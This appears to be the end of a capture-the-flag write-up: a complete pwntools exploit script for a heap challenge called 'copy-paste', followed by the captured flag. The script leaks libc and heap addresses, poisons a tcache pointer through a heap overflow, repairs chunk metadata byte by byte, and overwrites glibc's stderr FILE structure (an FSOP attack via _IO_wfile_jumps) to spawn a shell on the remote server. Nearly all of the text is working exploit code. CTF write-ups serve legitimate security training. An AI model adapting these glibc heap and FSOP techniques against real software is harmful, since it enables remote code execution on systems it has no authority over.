116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "copy-paste-pwn.wanictf.org"
remote_port = 9009
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

def demangle(val, is_heap_base=False):
    if not is_heap_base:
        mask = 0xfff << 52
        while mask:
            v = val & mask
            val ^= (v >> 12)
            mask >>= 12
        return val
    return val << 12

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

r = conn()

def create(idx, size, value):
    r.sendlineafter(b'choice: ', b'1')
    r.sendlineafter(b'index: ', str(idx).encode())
    r.sendlineafter(b'): ', str(size).encode())
    r.sendafter(b'content: ', value)

def show(idx):
    r.sendlineafter(b'choice: ', b'2')
    r.sendlineafter(b'index: ', str(idx).encode())
    return r.recvuntil(b'\n----').strip()[:-5]

def copy(idx):
    r.sendlineafter(b'choice: ', b'3')
    r.sendlineafter(b'index: ', str(idx).encode())

def paste(idx):
    r.sendlineafter(b'choice: ', b'4')
    r.sendlineafter(b'index: ', str(idx).encode())

def delete(idx):
    r.sendlineafter(b'choice: ', b'5')
    r.sendlineafter(b'index: ', str(idx).encode())

def exit_program():
    r.sendlineafter(b'choice: ', b'6')

# Libc leak
create(0, 0x20, b'a'*0x20)
create(1, 0x410, b'a'*0x410)
create(2, 0x20, b'a'*0x20)
copy(1)
delete(1)
paste(2)
out = show(2)
leaked_libc = u64(out[0x20:0x28])
log.info(f'leaked_libc: {hex(leaked_libc)}')
libc.address = leaked_libc - (libc.symbols['main_arena']+1104)
log.info(f'libc base: {hex(libc.address)}')
create(1, 0x410, b'a'*0x410) # Restore heap

# Heap leak
copy(0)
delete(0)
create(3, 0x30, b'a'*0x30)
paste(3)
out = show(3)
leaked_heap = demangle(u64(out[0x30:0x38]))
log.info(f'leaked_heap: {hex(leaked_heap)}')

# Manipulate tcache ptr
# Prepare a chunk for the copy feature, to create mismatch size and content
for i in range(5, 12): # Create chunks to fulfill the tcache later
    create(i, 0x80, b'a'*0x80)

# Setup the chunk that will be used to trigger the heap overflow
create(4, 0x80, b'a'*0x80)
copy(4)

for i in range(5, 12):  # Fulfill tcache[0x90]
    delete(i)

 # Now, the list[4] will consolidate with the top chunk.
 # So now, copied.ptr is overlapping with top chunk.
delete(4)

# Now, copied.size is still 0x80, yet the contents length can be set to maximum 0xf00
create(4, 0xf00, b'a'*0x10)

# Preparation to forge tcache mangled pointer
for i in range(5, 14):
    create(i, 0x90, b'a'*0x90)

# Fulfill tcache[0xa0]. This will be used later by paste.
for i in range(5, 14):
    delete(i)

# This tcache chunks mangled pointer will be poisoned
create(14, 0xf0, b'a'*0x30)
create(15, 0xf0, b'a'*0x30)

# Will be placed in tcache[0x100]
delete(15)
delete(14)
# Notes that heap layout will be like below
'''
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0xa0]
tcache[0x100]
'''

# Set mangled _IO_2_1_stderr-0x10
stderr_addr = libc.symbols['_IO_2_1_stderr_']-0x10
mangled_stderr = mangle(leaked_heap+0x2000, stderr_addr)

# Setup a chunk with size 0x10
create(5, 0x10, b'a'*0x8)

# Setup the copied.ptr content to poison the chunks[14] next pointer
delete(4)
create(4, 0xf00, b'\x01'*0x98+p64(mangled_stderr))

# When calling paste(5), it will allocate a new chunk with size
# list[5].size + copied.size, which is 0x10 + 0x80 = 0x90.
#
# Remember that we previously create and free chunks with size 0x90. The pasted chunk
# will be placed on there, where the below chunk of it is chunks[14]
paste(5)
# After this, due to the overflow, the chunks[14] next pointer has been overwritten to stderr

# Now, the problem is the overflow is overwriting the chunks[14] size as well (to 0x0101010101010101)
# We need to fix it back, from 0x0101010101010101 to 0x0000000000000101
# To clear the byte one by one, we need to do the overflow 6 times using the fact that
# sprintf will always add a null-terminator to the constructed string, so that the process will be:
# - 0x0101010101010101 to 0x0001010101010101
# - 0x0001010101010101 to 0x0000010101010101
# - ...
# - 0x0000000000010101 to 0x0000000000000101
for i in range(6):
    create(5, 0x10, b'a'*0x8)
    delete(4)
    create(4, 0xf00, b'\x01'*(0xa0*(i+2) - (i+1) + 0x8 - 0x10)+bytes([p64(0x21)[-(i+1)]]))

    # Remember the heap layout before, notice we still have a lot of tcache[0xa0] above
    # chunks[14]. So we can still overflow the chunks[14] (at most 6 times).
    paste(5)
# Now that we have fixed the chunks[14] metadata, we can start do the FSOP attack.

# Create fake wide_vtable
fake_wide_vtable_addr = leaked_heap+0x1e70-0x68
create(13, 0x10, p64(libc.symbols['system']))

# CReate fake wide_data
fake_wide_data_addr = leaked_heap+0x1c70
create(14, 0xf0, p64(0)*(0xe0//8)+p64(fake_wide_vtable_addr))

# Setup a fake stderr FILE structure
# This allocation will overwrite _IO_2_1_stderr_
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 0x1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_wide_data_addr
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps']

# Remember that we allocate in stderr-0x10, so don't forget to append 0x10 dummy bytes in front.
fake_stderr_bytes = p64(0)*2 + bytes(fake_stderr)
create(15, 0xf0, fake_stderr_bytes)

# Exit, and it will trigger a shell
exit_program()
r.interactive()

Flag: FLAG{d4n611n6_901n73r_3x1575}

Social Media

Follow me on twitter